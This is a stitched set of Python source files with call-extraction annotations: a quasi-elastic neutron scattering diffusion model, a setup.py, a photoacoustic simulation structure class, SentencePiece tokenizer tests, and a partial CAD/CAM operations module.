import numpy as np
try:
import QENSmodels
except ImportError:
print('Module QENSmodels not found')
def hwhmChudleyElliotDiffusion(q, D=0.23, L=1.0):
""" Returns some characteristics of `ChudleyElliotDiffusion` as functions
of the momentum transfer `q`:
the half-width half-maximum (`hwhm`), the elastic incoherent structure
factor (`eisf`), and the quasi-elastic incoherent structure factor (`qisf`)
Parameters
----------
q: float, list or :class:`~numpy:numpy.ndarray`
momentum transfer (non-fitting, in 1/Angstrom)
D: float
diffusion coefficient (in Angstrom^2/ps). Default to 0.23.
L: float
jump length (in Angstrom). Default to 1.0.
Returns
-------
hwhm: :class:`~numpy:numpy.ndarray`
half-width half maximum
eisf: :class:`~numpy:numpy.ndarray`
elastic incoherent structure factor
qisf: :class:`~numpy:numpy.ndarray`
quasi-elastic incoherent structure factor
Examples
--------
>>> hwhm, eisf, qisf = hwhmChudleyElliotDiffusion([1., 2.], 0.5, 1.5)
>>> round(hwhm[0], 3), round(hwhm[1], 3)
(1.616, 1.333)
>>> eisf
array([0., 0.])
>>> qisf
array([1., 1.])
"""
# input validation
if D <= 0:
raise ValueError('The diffusion coefficient should be positive')
if L <= 0:
raise ValueError('L, the jump length, should be positive')
q = np.asarray(q, dtype=np.float32)
eisf = np.zeros(q.size)
qisf = np.ones(q.size)
hwhm = 6. * D * (1. - np.sinc(q * L)) / L**2
# Force hwhm to be numpy array, even if single value
hwhm = np.asarray(hwhm, dtype=np.float32)
hwhm = np.reshape(hwhm, hwhm.size)
return hwhm, eisf, qisf
def sqwChudleyElliotDiffusion(w, q, scale=1, center=0, D=0.23,
L=1.0):
r""" Lorentzian model with half width half maximum equal to
:math:`\frac{6D}{L^2}(1 - \frac{sin(QL)}{QL})`
It is a model originally developed for jump diffusion in
liquids. But it can also be applied to diffusion in
crystalline lattices.
Atoms or molecules are `caged` by other atoms and jump into
a neighbouring cage from time to time.
The jump length `L` is identical for all sites.
Parameters
----------
w: float, list or :class:`~numpy:numpy.ndarray`
energy transfer (in 1/ps)
q: float, list or :class:`~numpy:numpy.ndarray`
momentum transfer (non-fitting, in 1/Angstrom).
scale: float
scale factor. Default to 1.
center: float
center of peak. Default to 0.
D: float
diffusion coefficient (in Angstrom^2/ps). Default to 0.23.
L: float
jump distance (in Angstrom). Default to 1.0.
Return
------
:class:`~numpy:numpy.ndarray`
output array
Examples
--------
>>> sqw = sqwChudleyElliotDiffusion([1, 2, 3], 1, 1, 0, 1, 1)
>>> round(sqw[0], 3)
0.052
>>> round(sqw[1], 3)
0.048
>>> round(sqw[2], 3)
0.042
>>> sqw = sqwChudleyElliotDiffusion(1, 1, 1, 0, 1, 1)
>>> round(sqw[0], 3)
0.052
Notes
-----
* The `sqwChudleyElliotDiffusion` is expressed as
.. math::
S(q, \omega) = \text{Lorentzian}(\omega, \text{scale}, \text{center},
\frac{6D}{l^2}(1 - \frac{sin(Ql)}{Ql}))
* Note that an equivalent expression is
.. math::
S(q, \omega) = \text{Lorentzian}(\omega, \text{scale}, \text{center},
\frac{1}{\tau}(1 - \frac{sin(Ql)}{Ql}))
with :math:`\tau=\frac{l^2}{6D}`.
References
----------
* <NAME>, Quasielastic Neutron Scattering and Solid State Diffusion
(Oxford, 2000).
* <NAME> and <NAME>, *Proc. Phys. Soc.* **77**,
353-361 (1961)
`link <https://iopscience.iop.org/article/10.1088/0370-1328/77/2/319/meta>`_
"""
# Input validation
w = np.asarray(w)
q = np.asarray(q, dtype=np.float32)
# Create output array
sqw = np.zeros((q.size, w.size))
# Get widths, EISFs and QISFs of model
hwhm, eisf, qisf = hwhmChudleyElliotDiffusion(q, D, L)
# Model
for i in range(q.size):
sqw[i, :] = QENSmodels.lorentzian(w, scale, center, hwhm[i])
# For Bumps use (needed for final plotting)
# Using a 'Curve' in bumps for each Q --> needs vector array
if q.size == 1:
sqw = np.reshape(sqw, w.size)
return sqw
if __name__ == "__main__":
import doctest
doctest.testmod()
| [
"numpy.reshape",
"numpy.ones",
"QENSmodels.lorentzian",
"numpy.asarray",
"numpy.sinc",
"numpy.zeros",
"doctest.testmod"
] | [((1468, 1499), 'numpy.asarray', 'np.asarray', (['q'], {'dtype': 'np.float32'}), '(q, dtype=np.float32)\n', (1478, 1499), True, 'import numpy as np\n'), ((1512, 1528), 'numpy.zeros', 'np.zeros', (['q.size'], {}), '(q.size)\n', (1520, 1528), True, 'import numpy as np\n'), ((1540, 1555), 'numpy.ones', 'np.ones', (['q.size'], {}), '(q.size)\n', (1547, 1555), True, 'import numpy as np\n'), ((1674, 1708), 'numpy.asarray', 'np.asarray', (['hwhm'], {'dtype': 'np.float32'}), '(hwhm, dtype=np.float32)\n', (1684, 1708), True, 'import numpy as np\n'), ((1720, 1747), 'numpy.reshape', 'np.reshape', (['hwhm', 'hwhm.size'], {}), '(hwhm, hwhm.size)\n', (1730, 1747), True, 'import numpy as np\n'), ((3935, 3948), 'numpy.asarray', 'np.asarray', (['w'], {}), '(w)\n', (3945, 3948), True, 'import numpy as np\n'), ((3958, 3989), 'numpy.asarray', 'np.asarray', (['q'], {'dtype': 'np.float32'}), '(q, dtype=np.float32)\n', (3968, 3989), True, 'import numpy as np\n'), ((4027, 4053), 'numpy.zeros', 'np.zeros', (['(q.size, w.size)'], {}), '((q.size, w.size))\n', (4035, 4053), True, 'import numpy as np\n'), ((4507, 4524), 'doctest.testmod', 'doctest.testmod', ([], {}), '()\n', (4522, 4524), False, 'import doctest\n'), ((4218, 4266), 'QENSmodels.lorentzian', 'QENSmodels.lorentzian', (['w', 'scale', 'center', 'hwhm[i]'], {}), '(w, scale, center, hwhm[i])\n', (4239, 4266), False, 'import QENSmodels\n'), ((4415, 4438), 'numpy.reshape', 'np.reshape', (['sqw', 'w.size'], {}), '(sqw, w.size)\n', (4425, 4438), True, 'import numpy as np\n'), ((1582, 1596), 'numpy.sinc', 'np.sinc', (['(q * L)'], {}), '(q * L)\n', (1589, 1596), True, 'import numpy as np\n')] |
#!/usr/bin/env python3
import os
from setuptools import setup, find_packages
PKG_NAME = "flavuer"
def package_files(directory):
paths = []
for root, _, files in os.walk(directory):
root_strip = root.lstrip(f"{PKG_NAME}/")
for filename in files:
paths.append(os.path.join(root_strip, filename))
return paths
setup(
name=PKG_NAME,
version="0.0.dev.1",
description="Flask + VueJS",
url="https://github.com/flavuer/flavuer",
author="darless",
author_email="<EMAIL>",
packages=find_packages(exclude=("tests")),
python_requires=">=3.8",
install_requires=["colorama"],
# Package data
package_data={
"": package_files("flavuer/template/app"),
},
entry_points={"console_scripts": ["flavuer = flavuer.__main__:main"]},
)
| [
"setuptools.find_packages",
"os.path.join",
"os.walk"
] | [((173, 191), 'os.walk', 'os.walk', (['directory'], {}), '(directory)\n', (180, 191), False, 'import os\n'), ((546, 576), 'setuptools.find_packages', 'find_packages', ([], {'exclude': '"""tests"""'}), "(exclude='tests')\n", (559, 576), False, 'from setuptools import setup, find_packages\n'), ((298, 332), 'os.path.join', 'os.path.join', (['root_strip', 'filename'], {}), '(root_strip, filename)\n', (310, 332), False, 'import os\n')] |
# SPDX-FileCopyrightText: 2021 Division of Intelligent Medical Systems, DKFZ
# SPDX-FileCopyrightText: 2021 <NAME>
# SPDX-License-Identifier: MIT
import numpy as np
from simpa.utils import Tags
from simpa.utils.libraries.molecule_library import MolecularComposition
from simpa.utils.libraries.structure_library.StructureBase import GeometricalStructure
class CircularTubularStructure(GeometricalStructure):
"""
Defines a circular tube which is defined by a start and end point as well as a radius. This structure implements
partial volume effects. The tube can be set to adhere to a deformation defined by the
simpa.utils.deformation_manager. The start and end points of the tube will then be shifted along the z-axis
accordingly.
Example usage:
# single_structure_settings initialization
structure = Settings()
structure[Tags.PRIORITY] = 9
structure[Tags.STRUCTURE_START_MM] = [50, 0, 50]
structure[Tags.STRUCTURE_END_MM] = [50, 100, 50]
structure[Tags.STRUCTURE_RADIUS_MM] = 5
structure[Tags.MOLECULE_COMPOSITION] = TISSUE_LIBRARY.blood()
structure[Tags.CONSIDER_PARTIAL_VOLUME] = True
structure[Tags.ADHERE_TO_DEFORMATION] = True
structure[Tags.STRUCTURE_TYPE] = Tags.CIRCULAR_TUBULAR_STRUCTURE
"""
def get_params_from_settings(self, single_structure_settings):
params = (np.asarray(single_structure_settings[Tags.STRUCTURE_START_MM]),
np.asarray(single_structure_settings[Tags.STRUCTURE_END_MM]),
np.asarray(single_structure_settings[Tags.STRUCTURE_RADIUS_MM]),
single_structure_settings[Tags.CONSIDER_PARTIAL_VOLUME])
return params
def to_settings(self):
settings = super().to_settings()
settings[Tags.STRUCTURE_START_MM] = self.params[0]
settings[Tags.STRUCTURE_END_MM] = self.params[1]
settings[Tags.STRUCTURE_RADIUS_MM] = self.params[2]
return settings
def get_enclosed_indices(self):
start_mm, end_mm, radius_mm, partial_volume = self.params
start_voxels = start_mm / self.voxel_spacing
end_voxels = end_mm / self.voxel_spacing
radius_voxels = radius_mm / self.voxel_spacing
x, y, z = np.meshgrid(np.arange(self.volume_dimensions_voxels[0]),
np.arange(self.volume_dimensions_voxels[1]),
np.arange(self.volume_dimensions_voxels[2]),
indexing='ij')
x = x + 0.5
y = y + 0.5
z = z + 0.5
if partial_volume:
radius_margin = 0.5
else:
radius_margin = 0.7071
target_vector = np.subtract(np.stack([x, y, z], axis=-1), start_voxels)
if self.do_deformation:
# the deformation functional needs mm as inputs and returns the result in reverse indexing order...
deformation_values_mm = self.deformation_functional_mm(np.arange(self.volume_dimensions_voxels[0], step=1) *
self.voxel_spacing,
np.arange(self.volume_dimensions_voxels[1], step=1) *
self.voxel_spacing).T
deformation_values_mm = deformation_values_mm.reshape(self.volume_dimensions_voxels[0],
self.volume_dimensions_voxels[1], 1, 1)
deformation_values_mm = np.tile(deformation_values_mm, (1, 1, self.volume_dimensions_voxels[2], 3))
target_vector = target_vector + (deformation_values_mm / self.voxel_spacing)
cylinder_vector = np.subtract(end_voxels, start_voxels)
target_radius = np.linalg.norm(target_vector, axis=-1) * np.sin(
np.arccos((np.dot(target_vector, cylinder_vector)) /
(np.linalg.norm(target_vector, axis=-1) * np.linalg.norm(cylinder_vector))))
volume_fractions = np.zeros(self.volume_dimensions_voxels)
filled_mask = target_radius <= radius_voxels - 1 + radius_margin
border_mask = (target_radius > radius_voxels - 1 + radius_margin) & \
(target_radius < radius_voxels + 2 * radius_margin)
volume_fractions[filled_mask] = 1
volume_fractions[border_mask] = 1 - (target_radius - (radius_voxels - radius_margin))[border_mask]
volume_fractions[volume_fractions < 0] = 0
if partial_volume:
mask = filled_mask | border_mask
else:
mask = filled_mask
return mask, volume_fractions[mask]
def define_circular_tubular_structure_settings(tube_start_mm: list,
tube_end_mm: list,
molecular_composition: MolecularComposition,
radius_mm: float = 2,
priority: int = 10,
consider_partial_volume: bool = False,
adhere_to_deformation: bool = False):
"""
TODO
"""
return {
Tags.STRUCTURE_START_MM: tube_start_mm,
Tags.STRUCTURE_END_MM: tube_end_mm,
Tags.STRUCTURE_RADIUS_MM: radius_mm,
Tags.PRIORITY: priority,
Tags.MOLECULE_COMPOSITION: molecular_composition,
Tags.CONSIDER_PARTIAL_VOLUME: consider_partial_volume,
Tags.ADHERE_TO_DEFORMATION: adhere_to_deformation,
Tags.STRUCTURE_TYPE: Tags.CIRCULAR_TUBULAR_STRUCTURE
} | [
"numpy.tile",
"numpy.asarray",
"numpy.subtract",
"numpy.stack",
"numpy.zeros",
"numpy.dot",
"numpy.linalg.norm",
"numpy.arange"
] | [((3772, 3809), 'numpy.subtract', 'np.subtract', (['end_voxels', 'start_voxels'], {}), '(end_voxels, start_voxels)\n', (3783, 3809), True, 'import numpy as np\n'), ((4076, 4115), 'numpy.zeros', 'np.zeros', (['self.volume_dimensions_voxels'], {}), '(self.volume_dimensions_voxels)\n', (4084, 4115), True, 'import numpy as np\n'), ((1402, 1464), 'numpy.asarray', 'np.asarray', (['single_structure_settings[Tags.STRUCTURE_START_MM]'], {}), '(single_structure_settings[Tags.STRUCTURE_START_MM])\n', (1412, 1464), True, 'import numpy as np\n'), ((1484, 1544), 'numpy.asarray', 'np.asarray', (['single_structure_settings[Tags.STRUCTURE_END_MM]'], {}), '(single_structure_settings[Tags.STRUCTURE_END_MM])\n', (1494, 1544), True, 'import numpy as np\n'), ((1564, 1627), 'numpy.asarray', 'np.asarray', (['single_structure_settings[Tags.STRUCTURE_RADIUS_MM]'], {}), '(single_structure_settings[Tags.STRUCTURE_RADIUS_MM])\n', (1574, 1627), True, 'import numpy as np\n'), ((2286, 2329), 'numpy.arange', 'np.arange', (['self.volume_dimensions_voxels[0]'], {}), '(self.volume_dimensions_voxels[0])\n', (2295, 2329), True, 'import numpy as np\n'), ((2361, 2404), 'numpy.arange', 'np.arange', (['self.volume_dimensions_voxels[1]'], {}), '(self.volume_dimensions_voxels[1])\n', (2370, 2404), True, 'import numpy as np\n'), ((2436, 2479), 'numpy.arange', 'np.arange', (['self.volume_dimensions_voxels[2]'], {}), '(self.volume_dimensions_voxels[2])\n', (2445, 2479), True, 'import numpy as np\n'), ((2733, 2761), 'numpy.stack', 'np.stack', (['[x, y, z]'], {'axis': '(-1)'}), '([x, y, z], axis=-1)\n', (2741, 2761), True, 'import numpy as np\n'), ((3581, 3656), 'numpy.tile', 'np.tile', (['deformation_values_mm', '(1, 1, self.volume_dimensions_voxels[2], 3)'], {}), '(deformation_values_mm, (1, 1, self.volume_dimensions_voxels[2], 3))\n', (3588, 3656), True, 'import numpy as np\n'), ((3835, 3873), 'numpy.linalg.norm', 'np.linalg.norm', (['target_vector'], {'axis': '(-1)'}), '(target_vector, axis=-1)\n', (3849, 3873), True, 'import numpy as np\n'), ((2988, 3039), 'numpy.arange', 'np.arange', (['self.volume_dimensions_voxels[0]'], {'step': '(1)'}), '(self.volume_dimensions_voxels[0], step=1)\n', (2997, 3039), True, 'import numpy as np\n'), ((3196, 3247), 'numpy.arange', 'np.arange', (['self.volume_dimensions_voxels[1]'], {'step': '(1)'}), '(self.volume_dimensions_voxels[1], step=1)\n', (3205, 3247), True, 'import numpy as np\n'), ((3907, 3945), 'numpy.dot', 'np.dot', (['target_vector', 'cylinder_vector'], {}), '(target_vector, cylinder_vector)\n', (3913, 3945), True, 'import numpy as np\n'), ((3972, 4010), 'numpy.linalg.norm', 'np.linalg.norm', (['target_vector'], {'axis': '(-1)'}), '(target_vector, axis=-1)\n', (3986, 4010), True, 'import numpy as np\n'), ((4013, 4044), 'numpy.linalg.norm', 'np.linalg.norm', (['cylinder_vector'], {}), '(cylinder_vector)\n', (4027, 4044), True, 'import numpy as np\n')] |
"""
Unit tests for SentencePiece tokenizer.
"""
import unittest
import os
import pickle
import tempfile
from texar.torch.data.data_utils import maybe_download
from texar.torch.data.tokenizers.sentencepiece_tokenizer import \
SentencePieceTokenizer
class SentencePieceTokenizerTest(unittest.TestCase):
def setUp(self):
self.tmp_dir = tempfile.TemporaryDirectory()
self.SAMPLE_VOCAB = maybe_download(
'https://github.com/google/sentencepiece/blob/master/'
'python/test/test_model.model?raw=true', self.tmp_dir.name)
self.tokenizer = SentencePieceTokenizer.load(self.SAMPLE_VOCAB)
self.tokenizer.save(self.tmp_dir.name)
def tearDown(self):
self.tmp_dir.cleanup()
def test_load(self):
tokenizer = SentencePieceTokenizer.load(self.tmp_dir.name)
self.assertEqual(1000, len(tokenizer))
self.assertEqual(0, tokenizer.map_token_to_id('<unk>'))
self.assertEqual(1, tokenizer.map_token_to_id('<s>'))
self.assertEqual(2, tokenizer.map_token_to_id('</s>'))
self.assertEqual('<unk>', tokenizer.map_id_to_token(0))
self.assertEqual('<s>', tokenizer.map_id_to_token(1))
self.assertEqual('</s>', tokenizer.map_id_to_token(2))
for i in range(len(tokenizer)):
token = tokenizer.map_id_to_token(i)
self.assertEqual(i, tokenizer.map_token_to_id(token))
def test_roundtrip(self):
tokenizer = SentencePieceTokenizer.load(self.tmp_dir.name)
text = 'I saw a girl with a telescope.'
ids = tokenizer.map_text_to_id(text)
tokens = tokenizer.map_text_to_token(text)
self.assertEqual(text, tokenizer.map_id_to_text(ids))
self.assertEqual(text, tokenizer.map_token_to_text(tokens))
def test_train(self):
tmp_dir = tempfile.TemporaryDirectory()
TEXT_FILE = maybe_download(
'https://github.com/google/sentencepiece/blob/master/'
'data/botchan.txt?raw=true', tmp_dir.name)
hparams = {
"vocab_file": None,
"text_file": TEXT_FILE,
"vocab_size": 1000,
}
tokenizer = SentencePieceTokenizer(hparams=hparams)
with open(TEXT_FILE, 'r', encoding='utf-8') as file:
for line in file:
tokenizer.map_token_to_text(tokenizer.map_text_to_token(line))
tokenizer.map_id_to_text(tokenizer.map_text_to_id(line))
def test_pickle(self):
tokenizer = SentencePieceTokenizer.load(self.tmp_dir.name)
self.assertIsNotNone(tokenizer)
text = u"Munich and Berlin are nice cities"
subwords = tokenizer.map_text_to_token(text)
with tempfile.TemporaryDirectory() as tmpdirname:
filename = os.path.join(tmpdirname, u"tokenizer.bin")
with open(filename, "wb") as f:
pickle.dump(tokenizer, f)
with open(filename, "rb") as f:
tokenizer_new = pickle.load(f)
subwords_loaded = tokenizer_new.map_text_to_token(text)
self.assertListEqual(subwords, subwords_loaded)
def test_save_load(self):
tokenizer = SentencePieceTokenizer.load(self.tmp_dir.name)
before_tokens = tokenizer.map_text_to_id(
u"He is very happy, UNwant\u00E9d,running")
with tempfile.TemporaryDirectory() as tmpdirname:
tokenizer.save(tmpdirname)
tokenizer = tokenizer.load(tmpdirname)
after_tokens = tokenizer.map_text_to_id(
u"He is very happy, UNwant\u00E9d,running")
self.assertListEqual(before_tokens, after_tokens)
def test_add_tokens(self):
tokenizer = SentencePieceTokenizer.load(self.tmp_dir.name)
vocab_size = tokenizer.vocab_size
all_size = len(tokenizer)
self.assertNotEqual(vocab_size, 0)
self.assertEqual(vocab_size, all_size)
new_toks = ["aaaaabbbbbb", "cccccccccdddddddd"]
added_toks = tokenizer.add_tokens(new_toks)
vocab_size_2 = tokenizer.vocab_size
all_size_2 = len(tokenizer)
self.assertNotEqual(vocab_size_2, 0)
self.assertEqual(vocab_size, vocab_size_2)
self.assertEqual(added_toks, len(new_toks))
self.assertEqual(all_size_2, all_size + len(new_toks))
tokens = tokenizer.map_text_to_id("aaaaabbbbbb low cccccccccdddddddd l")
self.assertGreaterEqual(len(tokens), 4)
self.assertGreater(tokens[0], tokenizer.vocab_size - 1)
self.assertGreater(tokens[-2], tokenizer.vocab_size - 1)
new_toks_2 = {'eos_token': ">>>>|||<||<<|<<",
'pad_token': "<<<<<|||>|>>>>|>"}
added_toks_2 = tokenizer.add_special_tokens(new_toks_2)
vocab_size_3 = tokenizer.vocab_size
all_size_3 = len(tokenizer)
self.assertNotEqual(vocab_size_3, 0)
self.assertEqual(vocab_size, vocab_size_3)
self.assertEqual(added_toks_2, len(new_toks_2))
self.assertEqual(all_size_3, all_size_2 + len(new_toks_2))
tokens = tokenizer.map_text_to_id(
">>>>|||<||<<|<< aaaaabbbbbb low cccccccccdddddddd "
"<<<<<|||>|>>>>|> l")
self.assertGreaterEqual(len(tokens), 6)
self.assertGreater(tokens[0], tokenizer.vocab_size - 1)
self.assertGreater(tokens[0], tokens[1])
self.assertGreater(tokens[-2], tokenizer.vocab_size - 1)
self.assertGreater(tokens[-2], tokens[-3])
self.assertEqual(tokens[0],
tokenizer.map_token_to_id(tokenizer.eos_token))
self.assertEqual(tokens[-2],
tokenizer.map_token_to_id(tokenizer.pad_token))
if __name__ == "__main__":
unittest.main()
| [
"tempfile.TemporaryDirectory",
"pickle.dump",
"texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer",
"os.path.join",
"pickle.load",
"texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer.load",
"texar.torch.data.data_utils.maybe_download",
"unittest.main"
] | [((5718, 5733), 'unittest.main', 'unittest.main', ([], {}), '()\n', (5731, 5733), False, 'import unittest\n'), ((355, 384), 'tempfile.TemporaryDirectory', 'tempfile.TemporaryDirectory', ([], {}), '()\n', (382, 384), False, 'import tempfile\n'), ((413, 549), 'texar.torch.data.data_utils.maybe_download', 'maybe_download', (['"""https://github.com/google/sentencepiece/blob/master/python/test/test_model.model?raw=true"""', 'self.tmp_dir.name'], {}), "(\n 'https://github.com/google/sentencepiece/blob/master/python/test/test_model.model?raw=true'\n , self.tmp_dir.name)\n", (427, 549), False, 'from texar.torch.data.data_utils import maybe_download\n'), ((594, 640), 'texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer.load', 'SentencePieceTokenizer.load', (['self.SAMPLE_VOCAB'], {}), '(self.SAMPLE_VOCAB)\n', (621, 640), False, 'from texar.torch.data.tokenizers.sentencepiece_tokenizer import SentencePieceTokenizer\n'), ((791, 837), 'texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer.load', 'SentencePieceTokenizer.load', (['self.tmp_dir.name'], {}), '(self.tmp_dir.name)\n', (818, 837), False, 'from texar.torch.data.tokenizers.sentencepiece_tokenizer import SentencePieceTokenizer\n'), ((1470, 1516), 'texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer.load', 'SentencePieceTokenizer.load', (['self.tmp_dir.name'], {}), '(self.tmp_dir.name)\n', (1497, 1516), False, 'from texar.torch.data.tokenizers.sentencepiece_tokenizer import SentencePieceTokenizer\n'), ((1838, 1867), 'tempfile.TemporaryDirectory', 'tempfile.TemporaryDirectory', ([], {}), '()\n', (1865, 1867), False, 'import tempfile\n'), ((1888, 2007), 'texar.torch.data.data_utils.maybe_download', 'maybe_download', (['"""https://github.com/google/sentencepiece/blob/master/data/botchan.txt?raw=true"""', 'tmp_dir.name'], {}), "(\n 'https://github.com/google/sentencepiece/blob/master/data/botchan.txt?raw=true'\n , tmp_dir.name)\n", (1902, 2007), False, 'from texar.torch.data.data_utils import maybe_download\n'), ((2177, 2216), 'texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer', 'SentencePieceTokenizer', ([], {'hparams': 'hparams'}), '(hparams=hparams)\n', (2199, 2216), False, 'from texar.torch.data.tokenizers.sentencepiece_tokenizer import SentencePieceTokenizer\n'), ((2509, 2555), 'texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer.load', 'SentencePieceTokenizer.load', (['self.tmp_dir.name'], {}), '(self.tmp_dir.name)\n', (2536, 2555), False, 'from texar.torch.data.tokenizers.sentencepiece_tokenizer import SentencePieceTokenizer\n'), ((3177, 3223), 'texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer.load', 'SentencePieceTokenizer.load', (['self.tmp_dir.name'], {}), '(self.tmp_dir.name)\n', (3204, 3223), False, 'from texar.torch.data.tokenizers.sentencepiece_tokenizer import SentencePieceTokenizer\n'), ((3696, 3742), 'texar.torch.data.tokenizers.sentencepiece_tokenizer.SentencePieceTokenizer.load', 'SentencePieceTokenizer.load', (['self.tmp_dir.name'], {}), '(self.tmp_dir.name)\n', (3723, 3742), False, 'from texar.torch.data.tokenizers.sentencepiece_tokenizer import SentencePieceTokenizer\n'), ((2716, 2745), 'tempfile.TemporaryDirectory', 'tempfile.TemporaryDirectory', ([], {}), '()\n', (2743, 2745), False, 'import tempfile\n'), ((2784, 2826), 'os.path.join', 'os.path.join', (['tmpdirname', 'u"""tokenizer.bin"""'], {}), "(tmpdirname, u'tokenizer.bin')\n", (2796, 2826), False, 'import os\n'), ((3345, 3374), 'tempfile.TemporaryDirectory', 'tempfile.TemporaryDirectory', ([], {}), '()\n', (3372, 3374), False, 'import tempfile\n'), ((2887, 2912), 'pickle.dump', 'pickle.dump', (['tokenizer', 'f'], {}), '(tokenizer, f)\n', (2898, 2912), False, 'import pickle\n'), ((2989, 3003), 'pickle.load', 'pickle.load', (['f'], {}), '(f)\n', (3000, 3003), False, 'import pickle\n')] |
from abc import ABC, abstractmethod
from dataclasses import dataclass, field
from typing import List, Union, Optional, Tuple
from OCP.BRepFeat import BRepFeat
from OCP.TopAbs import TopAbs_FACE
from OCP.TopExp import TopExp_Explorer
from cadquery import cq
from cq_cam.commands.base_command import Command
from cq_cam.job import Job
from cq_cam.utils.utils import flatten_list
class OperationError(Exception):
pass
@dataclass
class Operation(ABC):
job: Job
""" The `Job` which this task belongs to.
"""
commands: List[Command] = field(init=False, default_factory=list)
"""List of commands that this task wants to perform.
"""
clearance_height: float = field(default=20, kw_only=True)
""" Safe height for rapids inside the task (relative to `Job` surface).
Note: A task may perform rapids still at lower depths if it deems safe to do so.
"""
top_height: float = field(default=0, kw_only=True)
""" Height of cut layer (relative to `Job` surface).
"""
def __post_init__(self):
self.job.tasks.append(self)
def to_gcode(self):
start = cq.Vector(10, 10, 10)
def command_gcode_generator(start):
previous_command = None
for command in self.commands:
gcode, start = command.to_gcode(previous_command, start, self.job)
yield gcode
previous_command = command
return "\n".join(command_gcode_generator(start))
@staticmethod
def break_compound_to_faces(compound: Union[cq.Compound, cq.Face]) -> List[cq.Face]:
faces = []
explorer = TopExp_Explorer(compound.wrapped, TopAbs_FACE)
while explorer.More():
face = explorer.Current()
faces.append(cq.Face(face))
explorer.Next()
return faces
@staticmethod
def combine_faces(faces: List[cq.Face]) -> List[Union[cq.Compound, cq.Face]]:
return [compound for compound in cq.Workplane().add(faces).combine().objects if
isinstance(compound, cq.Compound) or isinstance(compound, cq.Face)]
@classmethod
def combine_faces_and_break(cls, faces: List[cq.Face]) -> List[List[cq.Face]]:
"""
Combine a list of faces into compounds and break the compounds back into faces
"""
combined_items = cls.combine_faces(faces)
results = []
for combined in combined_items:
if isinstance(combined, cq.Compound):
results.append(cls.break_compound_to_faces(combined))
else:
results.append(combined)
return results
def transform_shapes_to_global(self, faces: List[cq.Shape]) -> List[cq.Shape]:
matrix = self.job.workplane.plane.fG
return [face.transformShape(matrix) for face in faces]
def _o_objects(self, o):
if isinstance(o, cq.Workplane):
return o.objects
elif isinstance(o, list):
return o
else:
return [o]
@dataclass
class FaceBaseOperation(Operation, ABC):
""" Base class for any operation that operates primarily on face(s)
"""
_op_o_shapes = Union[cq.Wire, cq.Face]
o: Union[cq.Workplane, List[_op_o_shapes], _op_o_shapes] = None
""" The cadquery Workplane containing faces and/or
wires that the profile will operate on.
"""
avoid: Optional[Union[cq.Workplane, List[_op_o_shapes], _op_o_shapes]] = None
""" [INOP] List of faces that the tool may not enter. This option
can be relevant when using an `outer_boundary_offset` that
would otherwise cause the tool to enter features you do
not want to cut."""
stepover: float = 0.8
""" Stepover (cut width) as a fraction of tool diameter (0..1].
For example a value of 0.5 means the operation tries to use
50% of the tool width."""
outer_boundary_offset: Union[float, Tuple[float, float]] = -1
""" Offset is in multiples of tool diameter
* -1 for closed pockets and inside profiles
* 0 for open pockets
* 1 for outside profiles
This offset is applied to the outerWire of the operation boundary
When doing open 2.5D pockets, see `avoid`.
"""
inner_boundary_offset: Optional[Union[float, Tuple[float, float]]] = 1
""" See `outer_boundary_offset` """
boundary_final_pass_stepover: Union[float, None] = None
""" Stepover for a final boundary (profile) pass.
"""
stepdown: Union[float, None] = None
""" Maximum distance to step down on each pass
"""
def __post_init__(self):
if isinstance(self.outer_boundary_offset, (float, int)):
self.outer_boundary_offset = (self.outer_boundary_offset, 0)
if isinstance(self.inner_boundary_offset, (float, int)):
self.inner_boundary_offset = (self.inner_boundary_offset, 0)
@property
@abstractmethod
def _tool_diameter(self) -> float:
pass
def _wp_to_faces(self, name, o):
faces: List[cq.Face] = []
for obj in self._o_objects(o):
if isinstance(obj, cq.Face):
faces.append(obj)
elif isinstance(obj, cq.Wire):
faces.append(cq.Face.makeFromWires(obj))
else:
raise OperationError(f'Object type "{type(obj)}" not supported by a face operation')
if not faces:
raise OperationError(f'{name} selection must contain at least one face or wire')
return faces
@property
def _faces(self):
return self._wp_to_faces('o', self.o)
@property
def _avoid(self):
return self._wp_to_faces('avoid', self.avoid)
def offset_boundary(self, boundary: cq.Face) -> List[cq.Face]:
assert boundary.geomType() in ("PLANE", "CIRCLE")
outer_offset = self._tool_diameter * self.outer_boundary_offset[0] + self.outer_boundary_offset[1]
inner_offset = self._tool_diameter * self.inner_boundary_offset[0] + self.inner_boundary_offset[1]
outer_wires = boundary.outerWire().offset2D(outer_offset)
inner_wires = [] if inner_offset is None else flatten_list(
[inner.offset2D(inner_offset) for inner in boundary.innerWires()])
outer_faces = [cq.Face.makeFromWires(wire) for wire in outer_wires]
inner_faces = [cq.Face.makeFromWires(wire) for wire in inner_wires]
feat = BRepFeat()
boundaries = []
for outer_face in outer_faces:
inner = []
for inner_face in inner_faces[:]:
if feat.IsInside_s(inner_face.wrapped, outer_face.wrapped):
inner.append(inner_face.outerWire())
inner_faces.remove(inner_face)
boundaries.append(cq.Face.makeFromWires(outer_face.outerWire(), inner))
return boundaries
| [
"OCP.BRepFeat.BRepFeat",
"cadquery.cq.Workplane",
"cadquery.cq.Face.makeFromWires",
"cadquery.cq.Vector",
"OCP.TopExp.TopExp_Explorer",
"dataclasses.field",
"cadquery.cq.Face"
